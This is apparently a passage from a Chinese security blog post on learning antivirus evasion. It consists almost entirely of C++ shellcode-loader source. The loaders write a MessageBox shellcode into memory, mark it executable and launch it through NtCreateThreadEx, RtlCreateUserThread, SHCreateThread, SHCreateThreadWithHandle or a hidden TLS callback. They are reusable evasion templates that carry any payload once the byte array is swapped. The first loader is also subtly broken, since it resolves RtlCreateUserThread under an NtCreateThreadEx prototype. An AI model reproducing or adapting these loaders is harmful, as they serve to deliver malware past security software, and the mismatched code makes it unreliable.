0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x08, 0x53, 0x56, 0x8B, 0xD1, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00,
0x00, 0x57, 0x89, 0x55, 0xF8, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x48, 0x0C, 0x89, 0x4D,
0xFC, 0x8B, 0x45, 0xFC, 0x8B, 0x58, 0x0C, 0x8B, 0xFB, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00,
0x8B, 0x47, 0x30, 0x85, 0xC0, 0x74, 0x35, 0x0F, 0xB7, 0x08, 0x66, 0x85, 0xC9, 0x74, 0x1D, 0x90,
0x0F, 0xB7, 0x32, 0x66, 0x85, 0xF6, 0x74, 0x14, 0x66, 0x3B, 0xCE, 0x75, 0x0F, 0x0F, 0xB7, 0x48,
0x02, 0x83, 0xC0, 0x02, 0x83, 0xC2, 0x02, 0x66, 0x85, 0xC9, 0x75, 0xE4, 0x0F, 0xB7, 0x08, 0x0F,
0xB7, 0x02, 0x66, 0x3B, 0xC8, 0x74, 0x12, 0x8B, 0x3F, 0x8B, 0x55, 0xF8, 0x3B, 0x1F, 0x75, 0xC0,
0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x47, 0x18, 0x5F, 0x5E, 0x5B, 0x8B,
0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8B, 0xD9, 0x89, 0x55, 0xF4, 0x56, 0x57, 0x33, 0xFF,
0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x03, 0xC3, 0x8B, 0x70, 0x24, 0x8B, 0x48, 0x20, 0x03,
0xF3, 0x89, 0x75, 0xF0, 0x03, 0xCB, 0x8B, 0x70, 0x1C, 0x8B, 0x40, 0x18, 0x03, 0xF3, 0x89, 0x4D,
0xF8, 0x89, 0x75, 0xEC, 0x89, 0x45, 0xFC, 0x85, 0xC0, 0x74, 0x3A, 0x0F, 0x1F, 0x44, 0x00, 0x00,
0x8B, 0x0C, 0xB9, 0x8B, 0xF2, 0x03, 0xCB, 0x8A, 0x01, 0x84, 0xC0, 0x74, 0x16, 0x0F, 0x1F, 0x00,
0x8A, 0x16, 0x84, 0xD2, 0x74, 0x0D, 0x3A, 0xC2, 0x75, 0x09, 0x8A, 0x41, 0x01, 0x41, 0x46, 0x84,
0xC0, 0x75, 0xED, 0x8A, 0x11, 0x3A, 0x16, 0x74, 0x15, 0x8B, 0x4D, 0xF8, 0x47, 0x8B, 0x55, 0xF4,
0x3B, 0x7D, 0xFC, 0x72, 0xCB, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45,
0xF0, 0x8B, 0x4D, 0xEC, 0x0F, 0xB7, 0x04, 0x78, 0x5F, 0x5E, 0x8B, 0x04, 0x81, 0x03, 0xC3, 0x5B,
0x8B, 0xE5, 0x5D, 0xC3, 0x00
};

typedef NTSTATUS (NTAPI * NtCreateThreadEx_t)(
PHANDLEThreadHandle,//用于存储新线程的句柄
ACCESS_MASKDesiredAccess,//新线程的访问权限
LPVOIDObjectAttributes,//与线程相关的对象属性
HANDLEProcessHandle,//要在其中创建线程的进程的句柄
LPTHREAD_START_ROUTINEStartRoutine,//线程的起始地址，即线程将从此地址开始执行。
PVOIDArgument,//传递给线程起始地址的参数
ULONGCreateFlags,// 用于指定线程创建的标志
ULONGZeroBits,// 线程栈中零位的数量
SIZE_TStackSize,//线程栈的大小
SIZE_TMaximumStackSize,//线程栈的最大大小
PVOIDAttributeList//指向线程属性列表的指针
);
NtCreateThreadEx_t pNtCreateThreadEx;

int main()
{
LPVOID exec = VirtualAlloc(NULL, sizeof(x86_nullfree_msgbox), MEM_COMMIT, PAGE_READWRITE);
RtlMoveMemory(exec, x86_nullfree_msgbox, sizeof(x86_nullfree_msgbox));
DWORD oldProtect = 0;


//拿到NtCreateThreadEx函数地址
pNtCreateThreadEx = (NtCreateThreadEx_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlCreateUserThread");

BOOL bRet = VirtualProtect(exec, sizeof(x86_nullfree_msgbox), PAGE_EXECUTE_READWRITE, &oldProtect);

HANDLE hThread = 0;
if (bRet != 0)
{
pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)exec, NULL, NULL, NULL, NULL, NULL, NULL );
WaitForSingleObjectEx(hThread, -1, TRUE);
}
VirtualFree(exec, sizeof(x86_nullfree_msgbox), MEM_RELEASE);
    std::cout << "Hello World!n";
}

RtlCreateUserThread-内核函数.cpp

// RtlCreateUserThread-内核函数.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <windows.h>

unsigned char x86_nullfree_msgbox[] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x68, 0x33, 0xC0, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65, 0x72, 0x56,
0x57, 0x8D, 0x4D, 0x98, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x66, 0xC7, 0x45, 0xF4, 0x6C,
0x6C, 0xC6, 0x45, 0xF6, 0x00, 0xC7, 0x45, 0xD4, 0x4D, 0x65, 0x73, 0x73, 0xC7, 0x45, 0xD8, 0x61,
0x67, 0x65, 0x42, 0xC7, 0x45, 0xDC, 0x6F, 0x78, 0x41, 0x00, 0xC7, 0x45, 0x98, 0x6B, 0x00, 0x65,
0x00, 0xC7, 0x45, 0x9C, 0x72, 0x00, 0x6E, 0x00, 0xC7, 0x45, 0xA0, 0x65, 0x00, 0x6C, 0x00, 0xC7,
0x45, 0xA4, 0x33, 0x00, 0x32, 0x00, 0xC7, 0x45, 0xA8, 0x2E, 0x00, 0x64, 0x00, 0xC7, 0x45, 0xAC,
0x6C, 0x00, 0x6C, 0x00, 0x66, 0x89, 0x45, 0xB0, 0xC7, 0x45, 0xB4, 0x47, 0x65, 0x74, 0x50, 0xC7,
0x45, 0xB8, 0x72, 0x6F, 0x63, 0x41, 0xC7, 0x45, 0xBC, 0x64, 0x64, 0x72, 0x65, 0x66, 0xC7, 0x45,
0xC0, 0x73, 0x73, 0x88, 0x45, 0xC2, 0xC7, 0x45, 0xC4, 0x4C, 0x6F, 0x61, 0x64, 0xC7, 0x45, 0xC8,
0x4C, 0x69, 0x62, 0x72, 0xC7, 0x45, 0xCC, 0x61, 0x72, 0x79, 0x41, 0x88, 0x45, 0xD0, 0xE8, 0xAD,
0x00, 0x00, 0x00, 0x8B, 0xF0, 0x8D, 0x45, 0xB4, 0xA9, 0x00, 0x00, 0xFF, 0xFF, 0x75, 0x1C, 0x8B,
0x4E, 0x3C, 0x8B, 0x44, 0x31, 0x78, 0x8D, 0x4D, 0xB4, 0x2B, 0x4C, 0x30, 0x10, 0x8B, 0x44, 0x30,
0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x3C, 0x30, 0x03, 0xFE, 0xEB, 0x0C, 0x8D, 0x55, 0xB4, 0x8B, 0xCE,
0xE8, 0x0B, 0x01, 0x00, 0x00, 0x8B, 0xF8, 0x8D, 0x45, 0xC4, 0xA9, 0x00, 0x00, 0xFF, 0xFF, 0x75,
0x1C, 0x8B, 0x4E, 0x3C, 0x8B, 0x44, 0x31, 0x78, 0x8D, 0x4D, 0xC4, 0x2B, 0x4C, 0x30, 0x10, 0x8B,
0x44, 0x30, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x30, 0x03, 0xC6, 0xEB, 0x0A, 0x8D, 0x55, 0xC4,
0x8B, 0xCE, 0xE8, 0xD9, 0x00, 0x00, 0x00, 0x8D, 0x4D, 0xEC, 0x51, 0xFF, 0xD0, 0x8D, 0x4D, 0xD4,
0x51, 0x50, 0xFF, 0xD7, 0x6A, 0x00, 0x8D, 0x4D, 0xF8, 0xC7, 0x45, 0xE0, 0x48, 0x65, 0x6C, 0x6C,
0x51, 0x8D, 0x4D, 0xE0, 0xC7, 0x45, 0xE4, 0x6F, 0x57, 0x6F, 0x72, 0x51, 0x6A, 0x00, 0x66, 0xC7,
0x45, 0xE8, 0x6C, 0x64, 0xC6, 0x45, 0xEA, 0x00, 0xC7, 0x45, 0xF8, 0x54, 0x65, 0x73, 0x74, 0xC6,
0x45, 0xFC, 0x00, 0xFF, 0xD0, 0x5F, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x5E, 0x8B, 0xE5, 0x5D, 0xC3,
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x08, 0x53, 0x56, 0x8B, 0xD1, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00,
0x00, 0x57, 0x89, 0x55, 0xF8, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x48, 0x0C, 0x89, 0x4D,
0xFC, 0x8B, 0x45, 0xFC, 0x8B, 0x58, 0x0C, 0x8B, 0xFB, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00,
0x8B, 0x47, 0x30, 0x85, 0xC0, 0x74, 0x35, 0x0F, 0xB7, 0x08, 0x66, 0x85, 0xC9, 0x74, 0x1D, 0x90,
0x0F, 0xB7, 0x32, 0x66, 0x85, 0xF6, 0x74, 0x14, 0x66, 0x3B, 0xCE, 0x75, 0x0F, 0x0F, 0xB7, 0x48,
0x02, 0x83, 0xC0, 0x02, 0x83, 0xC2, 0x02, 0x66, 0x85, 0xC9, 0x75, 0xE4, 0x0F, 0xB7, 0x08, 0x0F,
0xB7, 0x02, 0x66, 0x3B, 0xC8, 0x74, 0x12, 0x8B, 0x3F, 0x8B, 0x55, 0xF8, 0x3B, 0x1F, 0x75, 0xC0,
0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x47, 0x18, 0x5F, 0x5E, 0x5B, 0x8B,
0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8B, 0xD9, 0x89, 0x55, 0xF4, 0x56, 0x57, 0x33, 0xFF,
0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x03, 0xC3, 0x8B, 0x70, 0x24, 0x8B, 0x48, 0x20, 0x03,
0xF3, 0x89, 0x75, 0xF0, 0x03, 0xCB, 0x8B, 0x70, 0x1C, 0x8B, 0x40, 0x18, 0x03, 0xF3, 0x89, 0x4D,
0xF8, 0x89, 0x75, 0xEC, 0x89, 0x45, 0xFC, 0x85, 0xC0, 0x74, 0x3A, 0x0F, 0x1F, 0x44, 0x00, 0x00,
0x8B, 0x0C, 0xB9, 0x8B, 0xF2, 0x03, 0xCB, 0x8A, 0x01, 0x84, 0xC0, 0x74, 0x16, 0x0F, 0x1F, 0x00,
0x8A, 0x16, 0x84, 0xD2, 0x74, 0x0D, 0x3A, 0xC2, 0x75, 0x09, 0x8A, 0x41, 0x01, 0x41, 0x46, 0x84,
0xC0, 0x75, 0xED, 0x8A, 0x11, 0x3A, 0x16, 0x74, 0x15, 0x8B, 0x4D, 0xF8, 0x47, 0x8B, 0x55, 0xF4,
0x3B, 0x7D, 0xFC, 0x72, 0xCB, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45,
0xF0, 0x8B, 0x4D, 0xEC, 0x0F, 0xB7, 0x04, 0x78, 0x5F, 0x5E, 0x8B, 0x04, 0x81, 0x03, 0xC3, 0x5B,
0x8B, 0xE5, 0x5D, 0xC3, 0x00
};

typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef NTSTATUS (NTAPI * RtlCreateUserThread_t)(
HANDLE                  ProcessHandle,//在其中创建线程的进程的句柄。
PSECURITY_DESCRIPTOR    SecurityDescriptor,//用于控制线程访问权限的安全描述符
BOOLEAN                 CreateSuspended,//如果为 TRUE，则创建的线程将以挂起状态启动。
ULONG                   StackZeroBits,//用于控制线程栈的分配
PULONG                  StackReserved,// 用于控制线程栈的分配。
PULONG                  StackCommit,// 用于控制线程栈的分配。
LPTHREAD_START_ROUTINE  StartAddress,//线程的起始地址，即线程将从此地址开始执行。
PVOID                   StartParameter,//传递给线程起始地址的参数
PHANDLE                 ThreadHandle,//用于存储新线程的句柄。
PCLIENT_ID              ClientID//用于存储新线程的客户端标识。
);

RtlCreateUserThread_t pRtlCreateUserThread;

int main()
{
//得到内核函数地址
pRtlCreateUserThread = (RtlCreateUserThread_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlCreateUserThread");

LPVOID exec = VirtualAlloc(NULL, sizeof(x86_nullfree_msgbox), MEM_COMMIT, PAGE_READWRITE);

RtlMoveMemory(exec, x86_nullfree_msgbox, sizeof(x86_nullfree_msgbox));
DWORD oldProtect = 0;
BOOL bRet = VirtualProtect(exec, sizeof(x86_nullfree_msgbox), PAGE_EXECUTE_READWRITE, &oldProtect);

HANDLE hThread = NULL;
if (bRet != 0)
{
pRtlCreateUserThread(GetCurrentProcess(), NULL, FALSE, NULL, NULL, NULL, (LPTHREAD_START_ROUTINE)exec, NULL,&hThread, NULL);
WaitForSingleObjectEx(hThread, -1, TRUE);
}

VirtualFree(exec, sizeof(x86_nullfree_msgbox),MEM_RELEASE);

}

SHCreateThread.cpp

// SHCreateThread.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <windows.h>
#include <stdint.h>
#include <shlwapi.h>

#pragma comment(lib,"shlwapi")

unsigned char x86_nullfree_msgbox[] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x68, 0x33, 0xC0, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65, 0x72, 0x56,
0x57, 0x8D, 0x4D, 0x98, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x66, 0xC7, 0x45, 0xF4, 0x6C,
0x6C, 0xC6, 0x45, 0xF6, 0x00, 0xC7, 0x45, 0xD4, 0x4D, 0x65, 0x73, 0x73, 0xC7, 0x45, 0xD8, 0x61,
0x67, 0x65, 0x42, 0xC7, 0x45, 0xDC, 0x6F, 0x78, 0x41, 0x00, 0xC7, 0x45, 0x98, 0x6B, 0x00, 0x65,
0x00, 0xC7, 0x45, 0x9C, 0x72, 0x00, 0x6E, 0x00, 0xC7, 0x45, 0xA0, 0x65, 0x00, 0x6C, 0x00, 0xC7,
0x45, 0xA4, 0x33, 0x00, 0x32, 0x00, 0xC7, 0x45, 0xA8, 0x2E, 0x00, 0x64, 0x00, 0xC7, 0x45, 0xAC,
0x6C, 0x00, 0x6C, 0x00, 0x66, 0x89, 0x45, 0xB0, 0xC7, 0x45, 0xB4, 0x47, 0x65, 0x74, 0x50, 0xC7,
0x45, 0xB8, 0x72, 0x6F, 0x63, 0x41, 0xC7, 0x45, 0xBC, 0x64, 0x64, 0x72, 0x65, 0x66, 0xC7, 0x45,
0xC0, 0x73, 0x73, 0x88, 0x45, 0xC2, 0xC7, 0x45, 0xC4, 0x4C, 0x6F, 0x61, 0x64, 0xC7, 0x45, 0xC8,
0x4C, 0x69, 0x62, 0x72, 0xC7, 0x45, 0xCC, 0x61, 0x72, 0x79, 0x41, 0x88, 0x45, 0xD0, 0xE8, 0xAD,
0x00, 0x00, 0x00, 0x8B, 0xF0, 0x8D, 0x45, 0xB4, 0xA9, 0x00, 0x00, 0xFF, 0xFF, 0x75, 0x1C, 0x8B,
0x4E, 0x3C, 0x8B, 0x44, 0x31, 0x78, 0x8D, 0x4D, 0xB4, 0x2B, 0x4C, 0x30, 0x10, 0x8B, 0x44, 0x30,
0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x3C, 0x30, 0x03, 0xFE, 0xEB, 0x0C, 0x8D, 0x55, 0xB4, 0x8B, 0xCE,
0xE8, 0x0B, 0x01, 0x00, 0x00, 0x8B, 0xF8, 0x8D, 0x45, 0xC4, 0xA9, 0x00, 0x00, 0xFF, 0xFF, 0x75,
0x1C, 0x8B, 0x4E, 0x3C, 0x8B, 0x44, 0x31, 0x78, 0x8D, 0x4D, 0xC4, 0x2B, 0x4C, 0x30, 0x10, 0x8B,
0x44, 0x30, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x30, 0x03, 0xC6, 0xEB, 0x0A, 0x8D, 0x55, 0xC4,
0x8B, 0xCE, 0xE8, 0xD9, 0x00, 0x00, 0x00, 0x8D, 0x4D, 0xEC, 0x51, 0xFF, 0xD0, 0x8D, 0x4D, 0xD4,
0x51, 0x50, 0xFF, 0xD7, 0x6A, 0x00, 0x8D, 0x4D, 0xF8, 0xC7, 0x45, 0xE0, 0x48, 0x65, 0x6C, 0x6C,
0x51, 0x8D, 0x4D, 0xE0, 0xC7, 0x45, 0xE4, 0x6F, 0x57, 0x6F, 0x72, 0x51, 0x6A, 0x00, 0x66, 0xC7,
0x45, 0xE8, 0x6C, 0x64, 0xC6, 0x45, 0xEA, 0x00, 0xC7, 0x45, 0xF8, 0x54, 0x65, 0x73, 0x74, 0xC6,
0x45, 0xFC, 0x00, 0xFF, 0xD0, 0x5F, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x5E, 0x8B, 0xE5, 0x5D, 0xC3,
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x08, 0x53, 0x56, 0x8B, 0xD1, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00,
0x00, 0x57, 0x89, 0x55, 0xF8, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x48, 0x0C, 0x89, 0x4D,
0xFC, 0x8B, 0x45, 0xFC, 0x8B, 0x58, 0x0C, 0x8B, 0xFB, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00,
0x8B, 0x47, 0x30, 0x85, 0xC0, 0x74, 0x35, 0x0F, 0xB7, 0x08, 0x66, 0x85, 0xC9, 0x74, 0x1D, 0x90,
0x0F, 0xB7, 0x32, 0x66, 0x85, 0xF6, 0x74, 0x14, 0x66, 0x3B, 0xCE, 0x75, 0x0F, 0x0F, 0xB7, 0x48,
0x02, 0x83, 0xC0, 0x02, 0x83, 0xC2, 0x02, 0x66, 0x85, 0xC9, 0x75, 0xE4, 0x0F, 0xB7, 0x08, 0x0F,
0xB7, 0x02, 0x66, 0x3B, 0xC8, 0x74, 0x12, 0x8B, 0x3F, 0x8B, 0x55, 0xF8, 0x3B, 0x1F, 0x75, 0xC0,
0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x47, 0x18, 0x5F, 0x5E, 0x5B, 0x8B,
0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8B, 0xD9, 0x89, 0x55, 0xF4, 0x56, 0x57, 0x33, 0xFF,
0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x03, 0xC3, 0x8B, 0x70, 0x24, 0x8B, 0x48, 0x20, 0x03,
0xF3, 0x89, 0x75, 0xF0, 0x03, 0xCB, 0x8B, 0x70, 0x1C, 0x8B, 0x40, 0x18, 0x03, 0xF3, 0x89, 0x4D,
0xF8, 0x89, 0x75, 0xEC, 0x89, 0x45, 0xFC, 0x85, 0xC0, 0x74, 0x3A, 0x0F, 0x1F, 0x44, 0x00, 0x00,
0x8B, 0x0C, 0xB9, 0x8B, 0xF2, 0x03, 0xCB, 0x8A, 0x01, 0x84, 0xC0, 0x74, 0x16, 0x0F, 0x1F, 0x00,
0x8A, 0x16, 0x84, 0xD2, 0x74, 0x0D, 0x3A, 0xC2, 0x75, 0x09, 0x8A, 0x41, 0x01, 0x41, 0x46, 0x84,
0xC0, 0x75, 0xED, 0x8A, 0x11, 0x3A, 0x16, 0x74, 0x15, 0x8B, 0x4D, 0xF8, 0x47, 0x8B, 0x55, 0xF4,
0x3B, 0x7D, 0xFC, 0x72, 0xCB, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45,
0xF0, 0x8B, 0x4D, 0xEC, 0x0F, 0xB7, 0x04, 0x78, 0x5F, 0x5E, 0x8B, 0x04, 0x81, 0x03, 0xC3, 0x5B,
0x8B, 0xE5, 0x5D, 0xC3, 0x00
};


int main()
{
PVOID exec = VirtualAlloc(0, sizeof(x86_nullfree_msgbox), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);


RtlMoveMemory(exec, x86_nullfree_msgbox, sizeof(x86_nullfree_msgbox));

DWORD old_protect = 0;
BOOL bRet = VirtualProtect(exec, sizeof(x86_nullfree_msgbox), PAGE_EXECUTE_READ, &old_protect);
if (bRet != 0)
{
SHCreateThread(NULL, NULL, CTF_COINIT | CTF_PROCESS_REF, (LPTHREAD_START_ROUTINE)exec);
}

// deallocate the space
VirtualFree(exec, sizeof(x86_nullfree_msgbox), MEM_RELEASE);
}

SHCreateThreadWithHandle.cpp

// SHCreateThreadWithHandle.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <windows.h>
#include <stdint.h>
#include <shlwapi.h>

#pragma comment(lib,"shlwapi")

unsigned char x86_nullfree_msgbox[] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x68, 0x33, 0xC0, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65, 0x72, 0x56,
0x57, 0x8D, 0x4D, 0x98, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x66, 0xC7, 0x45, 0xF4, 0x6C,
0x6C, 0xC6, 0x45, 0xF6, 0x00, 0xC7, 0x45, 0xD4, 0x4D, 0x65, 0x73, 0x73, 0xC7, 0x45, 0xD8, 0x61,
0x67, 0x65, 0x42, 0xC7, 0x45, 0xDC, 0x6F, 0x78, 0x41, 0x00, 0xC7, 0x45, 0x98, 0x6B, 0x00, 0x65,
0x00, 0xC7, 0x45, 0x9C, 0x72, 0x00, 0x6E, 0x00, 0xC7, 0x45, 0xA0, 0x65, 0x00, 0x6C, 0x00, 0xC7,
0x45, 0xA4, 0x33, 0x00, 0x32, 0x00, 0xC7, 0x45, 0xA8, 0x2E, 0x00, 0x64, 0x00, 0xC7, 0x45, 0xAC,
0x6C, 0x00, 0x6C, 0x00, 0x66, 0x89, 0x45, 0xB0, 0xC7, 0x45, 0xB4, 0x47, 0x65, 0x74, 0x50, 0xC7,
0x45, 0xB8, 0x72, 0x6F, 0x63, 0x41, 0xC7, 0x45, 0xBC, 0x64, 0x64, 0x72, 0x65, 0x66, 0xC7, 0x45,
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0x0F, 0xB7, 0x32, 0x66, 0x85, 0xF6, 0x74, 0x14, 0x66, 0x3B, 0xCE, 0x75, 0x0F, 0x0F, 0xB7, 0x48,
0x02, 0x83, 0xC0, 0x02, 0x83, 0xC2, 0x02, 0x66, 0x85, 0xC9, 0x75, 0xE4, 0x0F, 0xB7, 0x08, 0x0F,
0xB7, 0x02, 0x66, 0x3B, 0xC8, 0x74, 0x12, 0x8B, 0x3F, 0x8B, 0x55, 0xF8, 0x3B, 0x1F, 0x75, 0xC0,
0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x47, 0x18, 0x5F, 0x5E, 0x5B, 0x8B,
0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8B, 0xD9, 0x89, 0x55, 0xF4, 0x56, 0x57, 0x33, 0xFF,
0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x03, 0xC3, 0x8B, 0x70, 0x24, 0x8B, 0x48, 0x20, 0x03,
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0x8B, 0x0C, 0xB9, 0x8B, 0xF2, 0x03, 0xCB, 0x8A, 0x01, 0x84, 0xC0, 0x74, 0x16, 0x0F, 0x1F, 0x00,
0x8A, 0x16, 0x84, 0xD2, 0x74, 0x0D, 0x3A, 0xC2, 0x75, 0x09, 0x8A, 0x41, 0x01, 0x41, 0x46, 0x84,
0xC0, 0x75, 0xED, 0x8A, 0x11, 0x3A, 0x16, 0x74, 0x15, 0x8B, 0x4D, 0xF8, 0x47, 0x8B, 0x55, 0xF4,
0x3B, 0x7D, 0xFC, 0x72, 0xCB, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45,
0xF0, 0x8B, 0x4D, 0xEC, 0x0F, 0xB7, 0x04, 0x78, 0x5F, 0x5E, 0x8B, 0x04, 0x81, 0x03, 0xC3, 0x5B,
0x8B, 0xE5, 0x5D, 0xC3, 0x00
};
int main()
{
PVOID exec = VirtualAlloc(0, sizeof(x86_nullfree_msgbox), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

RtlMoveMemory(exec, x86_nullfree_msgbox, sizeof(x86_nullfree_msgbox));

DWORD old_protect = 0;
HANDLE h_thread;
BOOL bRet = VirtualProtect(exec, sizeof(x86_nullfree_msgbox), PAGE_EXECUTE_READ, &old_protect);
if (bRet != 0)
{
SHCreateThreadWithHandle(NULL, NULL, CTF_COINIT | CTF_PROCESS_REF, (LPTHREAD_START_ROUTINE)exec, &h_thread);
WaitForSingleObject(h_thread, -1);
}

// deallocate the space
VirtualFree(exec, sizeof(x86_nullfree_msgbox), MEM_RELEASE);
}

tls-callback.cpp


// tls-callback.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <windows.h>
#include <iostream>
#include <string.h>
#include <stdint.h>

unsigned char x86_nullfree_msgbox[] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x68, 0x33, 0xC0, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65, 0x72, 0x56,
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0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8B, 0xD9, 0x89, 0x55, 0xF4, 0x56, 0x57, 0x33, 0xFF,
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0x3B, 0x7D, 0xFC, 0x72, 0xCB, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45,
0xF0, 0x8B, 0x4D, 0xEC, 0x0F, 0xB7, 0x04, 0x78, 0x5F, 0x5E, 0x8B, 0x04, 0x81, 0x03, 0xC3, 0x5B,
0x8B, 0xE5, 0x5D, 0xC3, 0x00
};

VOID callback(PVOID handle, DWORD reason, PVOID reserved);


#ifdef _WIN64
#pragma comment(linker,"/INCLUDE:_tls_used")
#pragma comment(linker,"/INCLUDE:ptr_callback")
#pragma const_seg(push)
#pragma const_seg(".CRT$XLB")
EXTERN_C const PIMAGE_TLS_CALLBACK ptr_callback = callback;
#pragma const_seg(pop)
#else 
#pragma comment(linker,"/INCLUDE:__tls_used")
#pragma comment(linker,"/INCLUDE:_ptr_callback")
#pragma data_seg(push)
#pragma data_seg(".CRT$XLB")
EXTERN_C PIMAGE_TLS_CALLBACK ptr_callback = (PIMAGE_TLS_CALLBACK)callback;
#pragma data_seg(pop)
#endif 
int main()
{
    std::cout << "Hello World!n";
}
VOID callback(PVOID handle, DWORD reason, PVOID reserved)
{
void* runtime;
DWORD       old_protect = 0;



if (reason == DLL_PROCESS_ATTACH)
{

runtime = VirtualAlloc(0, sizeof(x86_nullfree_msgbox), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);


RtlMoveMemory(runtime, x86_nullfree_msgbox, sizeof(x86_nullfree_msgbox));


VirtualProtect(runtime, sizeof(x86_nullfree_msgbox), PAGE_EXECUTE_READ, &old_protect);

int (*func)() = (int (*)())runtime;
func();


VirtualFree(runtime, sizeof(x86_nullfree_msgbox), MEM_RELEASE);
}
}

原文始发于微信公众号（loochSec）：免杀学习-基础-一

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免杀学习-基础-一

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